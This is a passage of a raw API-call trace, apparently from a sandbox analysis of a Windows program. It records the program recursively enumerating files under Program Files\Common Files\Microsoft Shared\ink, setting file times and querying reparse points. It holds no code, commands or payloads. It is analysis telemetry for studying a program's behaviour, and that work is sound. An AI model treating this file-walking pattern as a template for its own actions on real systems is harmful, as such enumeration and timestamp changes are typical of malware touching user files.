ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsesp.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58cd8515, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x58cd8515, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x5ca35e50, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c9602b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c9602b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ce22e5, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27ce22e5, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d08442, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d08442, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9188b373, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dc49d13, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5dc49d13, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a1fc7a0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d2e59f, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d2e59f, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0049.567] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0049.568] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0049.568] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0049.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0049.568] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.568] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.568] NtClose (Handle=0x184) returned 0x0 [0049.568] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.568] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.568] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.568] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.568] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf910b0 [0049.569] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94b90 [0049.569] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.569] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.569] GetLastError () returned 0x12 [0049.569] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0049.569] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.569] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.569] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.569] 